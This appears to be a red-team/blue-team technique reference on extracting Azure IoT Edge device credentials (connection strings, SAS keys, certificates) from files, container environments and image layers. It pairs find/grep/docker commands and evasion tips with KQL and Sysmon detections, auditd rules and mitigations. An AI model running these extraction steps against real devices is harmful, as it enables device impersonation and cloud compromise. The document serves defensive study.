| Attribute | Details |
|---|---|
| Technique ID | IOT-EDGE-001 |
| MITRE ATT&CK v18.1 | T1552.001 - Unsecured Credentials: Credentials in Files |
| Tactic | Credential Access |
| Platforms | Azure IoT, IoT Edge, Linux, Containers |
| Severity | Critical |
| Technique Status | ACTIVE |
| Last Verified | 2026-01-10 |
| Affected Versions | Azure IoT Edge 1.0+, Docker 18.0+, Linux Kernel 4.0+ |
| Patched In | N/A (Design issue, requires proper secret management) |
| Author | SERVTEP – Artur Pchelnikau |
Concept: IoT devices commonly store sensitive authentication credentials in plaintext or weakly protected files on the filesystem. These credentials include Azure IoT Hub connection strings, device certificates, X.509 keys, and Shared Access Signatures (SAS) tokens. An attacker with local filesystem access (whether through initial compromise, container escape, or physical access) can enumerate and extract these credentials, gaining identity-based access to backend IoT services. Extracted credentials can be leveraged to impersonate the device, access IoT Hub, read/write device twins, and pivot laterally into cloud infrastructure.
Attack Surface: Filesystem locations (e.g., /etc/config/, /opt/, ~/.config/, Docker container layers, device memory), environment variables, configuration files (JSON, YAML, XML), and container images.
Business Impact: Unauthorized Device Impersonation and Cloud Infrastructure Compromise. Stolen credentials grant attackers the ability to communicate as a legitimate IoT device, exfiltrate sensor data, inject false telemetry, compromise downstream analytics systems, and establish persistence in Azure IoT Hub. In critical infrastructure scenarios (energy, healthcare), this can lead to operational disruption.
Technical Context: Extraction typically occurs within 30 seconds to 2 minutes if credentials are stored in world-readable files. Detection likelihood is Low to Medium if logging is not configured for filesystem access auditing (Sysmon, auditd). Common indicators include unusual find, grep, cat, or strings command execution patterns and file reads from config directories.
| Framework | Control / ID | Description |
|---|---|---|
| CIS Benchmark | CIS IoT Device Security Controls v1.0 - 2.1 | Ensure credentials are not hardcoded in configuration files |
| DISA STIG | SV-254954r889328_rule | Configure audit logging for sensitive file access |
| CISA SCuBA | ID.AM-2 | Asset inventory must identify credential storage locations |
| NIST 800-53 | SC-7 (Boundary Protection), SC-28 (Protection of Information at Rest) | Encrypt credentials at rest; restrict access to credential files |
| GDPR | Art. 32 | Security of Processing – encryption and access controls required for personal/operational data |
| DORA | Art. 11 (Incident Reporting) | Credential compromises must be reported within timeline |
| NIS2 | Art. 21 | Cyber Risk Management Measures – credential protection mandatory |
| ISO 27001 | A.8.2.1 (User endpoint devices), A.8.3.2 (Segregation of networks) | Credential management and device isolation required |
| ISO 27005 | Risk assessment for credential storage and access controls | Identify and mitigate unauthorized credential extraction risks |
Supported Versions:
Tools:
# List IoT devices registered in Azure IoT Hub
az iot hub device-identity list --hub-name <hub-name> --query "[].{id:deviceId, type:type, status:status}"
# Retrieve device connection string (requires IoT Hub Owner role)
az iot hub device-identity connection-string show --hub-name <hub-name> --device-id <device-id>
# Check for credentials in Edge module deployment manifests
az iot edge deployment show --hub-name <hub-name> --deployment-id <deployment-id> --query "content.modulesContent"
What to Look For:
sas (Shared Access Signature) vs x509 (certificate-based)# Search for connection strings in common config locations
find /etc /opt /home -name "*.json" -o -name "*.conf" -o -name ".env" 2>/dev/null | xargs grep -l "HostName\|SharedAccessKey" 2>/dev/null
# List IoT Edge module configuration
docker inspect <module-name> | grep -i "env\|connection"
# Check for credential files (certificates, keys)
find /etc -name "*.pem" -o -name "*.pfx" -o -name "*.key" 2>/dev/null
# Examine processes to identify credential storage locations
ps aux | grep -E "iotedged|module" | head -5
What to Look For:
Supported Versions: Azure IoT Edge 1.0 - 1.4.8, Docker 18.0+
Objective: Enumerate Docker containers running on the IoT Edge device to identify module containers
Command:
docker ps --format "table \t\t"
Expected Output:
CONTAINER ID NAMES IMAGE STATUS
abc12345def edgeAgent mcr.microsoft.com/azureiotedge-agent:1.4 Up 2 days
def23456abc edgeHub mcr.microsoft.com/azureiotedge-hub:1.4 Up 2 days
ghi34567def my-module-1 myregistry.azurecr.io/my-module:1.0 Up 1 hour
jkl45678ghi my-module-2 myregistry.azurecr.io/my-module:1.0 Up 1 hour
What This Means:
OpSec & Evasion:
docker commands from a non-privileged shell history to avoid sudo loggingObjective: Retrieve environment variables from running containers; many modules store connection strings here
Command:
docker inspect <module-name> | grep -A 100 "Env"
Example:
docker inspect my-module-1 | grep -A 50 "Env"
Expected Output:
"Env": [
"IoT_Hub_Connection_String=HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCdEfGhIjKlMnOpQrStUvWxYz1234567890abcdefgh=",
"DEVICE_ID=my-device-001",
"MODULE_ID=my-module-1",
"PYTHONUNBUFFERED=1",
"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
]
What This Means:
IoT_Hub_Connection_String variable contains the full Shared Access KeyTroubleshooting:
Error response from daemon: No such container
docker ps -a to list all containers including stopped onespermission denied while trying to connect to the Docker daemon
sudo usermod -aG docker $USERReferences & Proofs:
Objective: Search the container filesystem for hardcoded credentials in config files
Command (Execute inside container):
docker exec <module-name> find / -name "*.json" -o -name "*.conf" -o -name "appsettings.json" 2>/dev/null | xargs grep -l "key\|credential\|password\|secret\|HostName" 2>/dev/null
Alternatively, inspect container layers:
docker history --human --no-trunc <module-image>
Expected Output:
IMAGE CREATED CREATED BY SIZE
myregistry.azurecr.io/my-module 1 hour ago /bin/sh -c echo 'Connection String: HostName=...' 2.5KB
...
What This Means:
OpSec & Evasion:
Troubleshooting:
docker logs <module-name> | grep -i "key\|secret\|connect"References & Proofs:
Objective: Locate and extract device certificates used for mutual TLS authentication
Command (Find certificates in container):
docker exec <module-name> find / -name "*.pem" -o -name "*.crt" -o -name "*.key" 2>/dev/null
Command (Extract certificate from host volume mount):
# Identify volume mounts
docker inspect <module-name> | grep -A 5 "Mounts"
# Read certificate if accessible from host
sudo cat /var/lib/aziot/identities/<device-id>/<module-id>/module_cert.pem
Expected Output:
/etc/aziot/identities/device-id/module-id/module_cert.pem
/etc/aziot/identities/device-id/module-id/module_key.pem
/etc/config/ca-cert.pem
/opt/credentials/device.pfx
What This Means:
OpSec & Evasion:
References & Proofs:
Supported Versions: All Docker versions supporting image export
Objective: Extract the entire container filesystem to analyze for embedded credentials
Command:
docker save <module-image> -o module.tar
tar -tf module.tar | head -20
tar -xf module.tar
Expected Output:
module.tar
└── blobs/
└── sha256/
├── abc123... (base layer)
├── def456... (dependency layer)
└── ghi789... (application layer)
What This Means:
Command:
for layer in blobs/sha256/*; do
tar -xf "$layer" -O 2>/dev/null | strings | grep -E "HostName|SharedAccessKey|ConnectionString" | head -5
done
Expected Output:
HostName=myhub.azure-devices.net;SharedAccessKeyName=owner;SharedAccessKey=AbCd...
What This Means:
References & Proofs:
find / -type f -name "*password*" -o -name "*credentials*" -o -name "*.pem" 2>/dev/null | head -20
# No artifacts to clean; this is read-only enumeration
Reference: Atomic Red Team T1552.001
Version: 20.10+ Minimum Version: 18.0 Supported Platforms: Linux, Windows, macOS
Usage:
docker ps # List running containers
docker inspect <container> # Inspect container configuration
docker exec <container> <command> # Execute command inside container
docker save <image> # Export image as tar archive
docker logs <container> # View container logs
Tools: find, grep, cat, strings, sed, awk Usage:
find / -name "*.json" 2>/dev/null # Find JSON config files
grep -r "HostName" /etc /opt 2>/dev/null # Search for connection strings
strings /var/lib/file | grep "key" # Extract text from binary files
cat /etc/aziot/config.toml # Read Azure IoT Edge daemon config
Version: 1.6+ Installation:
# Ubuntu/Debian
sudo apt-get install -y jq
# Alpine
apk add jq
# macOS
brew install jq
Usage:
cat config.json | jq '.modules | keys' # Extract module names
cat config.json | jq '.[] | .connectionString' # Extract connection strings
Rule Configuration:
KQL Query:
union SecurityEvent, Event
| where Computer contains "edge" or Computer contains "iot"
| where (EventID == 4663 and ObjectName contains "credential" or ObjectName contains ".pem" or ObjectName contains ".key")
or (EventID == 3 and Process contains "grep" and CommandLine contains "HostName")
or (EventID == 1 and CommandLine contains "docker inspect" and CommandLine contains "Env")
| summarize Count = count() by Computer, Account, CommandLine, EventTime
| where Count > 0
| sort by EventTime desc
What This Detects:
Manual Configuration Steps (Azure Portal):
IoT Edge Device Credential ExtractionHigh10 minutes30 minutesManual Configuration Steps (PowerShell):
$ResourceGroup = "myResourceGroup"
$WorkspaceName = "mySentinelWorkspace"
$RuleName = "IoT Edge Credential Extraction"
Connect-AzAccount
Connect-AzSentinel -ResourceGroupName $ResourceGroup -WorkspaceName $WorkspaceName
$QueryContent = @"
union SecurityEvent, Event
| where Computer contains "edge" or Computer contains "iot"
| where (EventID == 4663 and ObjectName contains "credential" or ObjectName contains ".pem")
or (EventID == 1 and CommandLine contains "grep" and CommandLine contains "HostName")
"@
New-AzSentinelAlertRule -ResourceGroupName $ResourceGroup `
-WorkspaceName $WorkspaceName `
-DisplayName $RuleName `
-Query $QueryContent `
-Severity "High" `
-Enabled $true
Source: Microsoft Sentinel IoT Security Best Practices
KQL Query:
SecurityEvent
| where Process contains "docker" and (CommandLine contains "inspect" or CommandLine contains "export" or CommandLine contains "save")
| where Account != "system" and Account != "SYSTEM"
| summarize CommandCount = count() by Computer, Account, bin(TimeGenerated, 5m)
| where CommandCount > 3
| sort by TimeGenerated desc
Event ID: 4656 (A handle to an object was requested)
Manual Configuration Steps (Group Policy):
gpupdate /force on target machinesManual Configuration Steps (Local Policy - IoT Devices):
auditpol /set /subcategory:"File System" /success:enable /failure:enable
Minimum Sysmon Version: 13.0+ Supported Platforms: Linux (via Auditbeat), Windows
Sysmon Config Snippet (Windows IoT):
<Sysmon schemaversion="4.30">
<EventFiltering>
<!-- Detect file access to credential files -->
<FileCreate onmatch="include">
<TargetFilename condition="contains">credential</TargetFilename>
<TargetFilename condition="contains">.pem</TargetFilename>
<TargetFilename condition="contains">.key</TargetFilename>
</FileCreate>
<!-- Detect credential extraction commands -->
<ProcessCreate onmatch="include">
<CommandLine condition="contains">grep</CommandLine>
<CommandLine condition="contains">HostName</CommandLine>
<CommandLine condition="contains">SharedAccessKey</CommandLine>
</ProcessCreate>
<!-- Detect docker inspect / export -->
<ProcessCreate onmatch="include">
<Image condition="contains">docker.exe</Image>
<CommandLine condition="contains">inspect</CommandLine>
<CommandLine condition="contains">save</CommandLine>
</ProcessCreate>
</EventFiltering>
</Sysmon>
Manual Configuration Steps:
sysmon-config.xmlsysmon64.exe -accepteula -i sysmon-config.xml
Get-WinEvent -LogName "Microsoft-Windows-Sysmon/Operational" -MaxEvents 10 | Format-Table TimeCreated, Message -AutoSize
Alert Name: IoT Device Accessing Credential Files (Custom)
Manual Configuration Steps (Enable Defender for Cloud):
Search-UnifiedAuditLog -Operations "Get Device", "List Devices", "Get Device Identity" `
-StartDate (Get-Date).AddDays(-7) `
-ResultSize 5000 | Select-Object UserIds, Operations, CreationDate, ClientIP | Sort-Object CreationDate -Descending
Manual Configuration Steps (Enable Unified Audit Log):
Use Azure Key Vault or IoT Hub Identity Services for Credential Storage: Replace hardcoded credentials with managed identities or Key Vault references.
Applies To Versions: Azure IoT Edge 1.1+
Manual Steps (PowerShell - Enable Managed Identity on IoT Edge Device):
# Register the IoT Edge device with a system-assigned managed identity
$deviceId = "my-edge-device"
$resourceGroup = "myResourceGroup"
$hubName = "myIoTHub"
# Create device with system-assigned identity
az iot hub device-identity create --device-id $deviceId --hub-name $hubName `
--auth-method x509_thumbprint --primary-thumbprint <cert-thumbprint> `
--secondary-thumbprint <cert-thumbprint> --status enabled
# Assign the device to an IoT Edge deployment using Key Vault references
# (Credentials are injected at runtime, not stored on disk)
Manual Steps (Azure Portal - Using Key Vault for Module Credentials):
iot-hub-connection-string, Value: <connection-string>ConnectionString, Value: @Microsoft.KeyVault(SecretUri=https://<vault>.vault.azure.net/secrets/iot-hub-connection-string/)Implement Least-Privilege Filesystem Permissions: Restrict credential file access to the module owner process only.
Manual Steps (Linux):
# Create a dedicated user for the module
sudo useradd -r -s /bin/false iot-module-user
# Create credential directory with restrictive permissions
sudo mkdir -p /etc/iot-module/secrets
sudo chown iot-module-user:iot-module-user /etc/iot-module/secrets
sudo chmod 700 /etc/iot-module/secrets # Only owner can read
# Place certificate in the directory
sudo cp device.pem /etc/iot-module/secrets/
sudo chown iot-module-user:iot-module-user /etc/iot-module/secrets/device.pem
sudo chmod 600 /etc/iot-module/secrets/device.pem
# Run module container with limited user
docker run --user iot-module-user:iot-module-user -v /etc/iot-module/secrets:/secrets <image>
Encrypt Credentials at Rest: Use Azure Disk Encryption or LUKS for the IoT Edge device storage.
Manual Steps (Linux - LUKS Encryption):
# Install cryptsetup
sudo apt-get install cryptsetup -y
# Create encrypted volume for credentials
sudo cryptsetup luksFormat /dev/sdb1
sudo cryptsetup luksOpen /dev/sdb1 secret-volume
sudo mkfs.ext4 /dev/mapper/secret-volume
sudo mount /dev/mapper/secret-volume /mnt/secret-creds
# Move credentials to encrypted volume
sudo mv /etc/iot-module/secrets/* /mnt/secret-creds/
sudo umount /mnt/secret-creds
sudo cryptsetup luksClose secret-volume
Enable Auditd on IoT Edge Devices: Log all file access attempts to credential directories for forensic analysis.
Manual Steps (Linux):
# Install auditd
sudo apt-get install auditd -y
# Add audit rule for credential file access
sudo auditctl -w /etc/aziot/ -p wa -k iot_credential_access
sudo auditctl -w /opt/ -p r -k iot_credential_read
# Persist rules
echo "-w /etc/aziot/ -p wa -k iot_credential_access" | sudo tee -a /etc/audit/rules.d/aziot.rules
echo "-w /opt/ -p r -k iot_credential_read" | sudo tee -a /etc/audit/rules.d/aziot.rules
# Restart auditd
sudo systemctl restart auditd
Disable Unnecessary Docker Commands on Production Devices: Restrict docker inspect, docker save, and docker exec via AppArmor or SELinux.
Manual Steps (AppArmor - Ubuntu):
# Create AppArmor profile to restrict docker access
cat > /etc/apparmor.d/usr.bin.docker << EOF
#include <tunables/global>
/usr/bin/docker {
#include <abstractions/base>
/usr/bin/docker mr,
deny /sys/kernel/debug/** rwkl,
deny /proc/sys/** rwkl,
}
EOF
sudo apparmor_parser -r /etc/apparmor.d/usr.bin.docker
Conditional Access: Require Multi-Factor Authentication for IoT Hub Credential Access:
Manual Steps (Azure Portal):
Require MFA for IoT Hub AccessAzure IoT HubRBAC: Remove Device Owner Roles from Non-Privileged Accounts:
Manual Steps (Azure Portal):
IoT Hub Data Owner, IoT Hub Service AdministratorPolicy Config: Enable Azure IoT Hub Firewall and Restrict IP Access:
Manual Steps (Azure Portal):
# Verify credentials are not stored in Docker environment variables
docker inspect <module-name> | grep -i "HostName\|SharedAccessKey"
# Expected Output (If Secure):
# [No output – credentials are not exposed]
# Verify filesystem permissions on credential files
ls -la /etc/aziot/identities/*/*/
# Expected Output:
# -rw------- 1 root root 1234 Jan 1 12:00 device_cert.pem
# (Permissions are 600, accessible only to owner)
# Verify auditd rules are active
sudo auditctl -l | grep iot_credential
# Expected Output:
# -w /etc/aziot/ -p wa -k iot_credential_access
What to Look For:
/etc/aziot/identities/*/*/module_cert.pem, /etc/aziot/identities/*/*/module_key.pem, /opt/config/connection_string.txt, /home/*/.azure/credentialsHKLM\Software\Microsoft\Azure\IoT\Credentials/var/log/audit/audit.log (Linux) or Windows Security Event Log/proc/<pid>/environ)# Disconnect IoT Edge device from network
sudo ip link set eth0 down
# Or, revoke device credentials in Azure IoT Hub
az iot hub device-identity delete --hub-name <hub-name> --device-id <device-id>
# Export Security Event Log (Windows)
wevtutil epl Security C:\Evidence\Security.evtx
# Export audit logs (Linux)
sudo tar -czf /tmp/audit-logs.tar.gz /var/log/audit/
# Capture Docker container state
docker save $(docker ps -q) -o containers.tar
docker ps -a --format json > container-manifest.json
# Stop compromised module
docker stop <module-name>
# Revoke credentials in Azure
az iot hub device-identity delete --hub-name <hub-name> --device-id <device-id>
# Redeploy device with new credentials
az iot edge deployment create --hub-name <hub-name> --deployment-id <new-deployment> --content deployment.json
| Step | Phase | Technique | Description |
|---|---|---|---|
| 1 | Initial Access | [IOT-EDGE-002] Azure IoT Hub Connection String Theft | Attacker exploits misconfigurations to steal IoT Hub credentials |
| 2 | Credential Access | [IOT-EDGE-001] | Attacker extracts device credentials from filesystem |
| 3 | Lateral Movement | [IOT-EDGE-004] Device Provisioning Service Abuse | Attacker uses stolen credentials to register rogue devices |
| 4 | Privilege Escalation | [IOT-EDGE-003] Edge Module Compromise | Attacker escapes container and installs rootkit |
| 5 | Impact | Data Exfiltration | Attacker exfiltrates sensor data and business intelligence from IoT Hub |
IOT-EDGE-001 represents a critical vulnerability in the IoT attack surface. The extraction of device credentials from plaintext storage enables attackers to impersonate IoT devices, access sensitive cloud infrastructure, and establish persistence. Organizations must implement secret management solutions, filesystem encryption, and comprehensive logging to defend against this threat. Regular security audits of IoT Edge deployments and removal of hardcoded credentials from container images are essential remediation steps.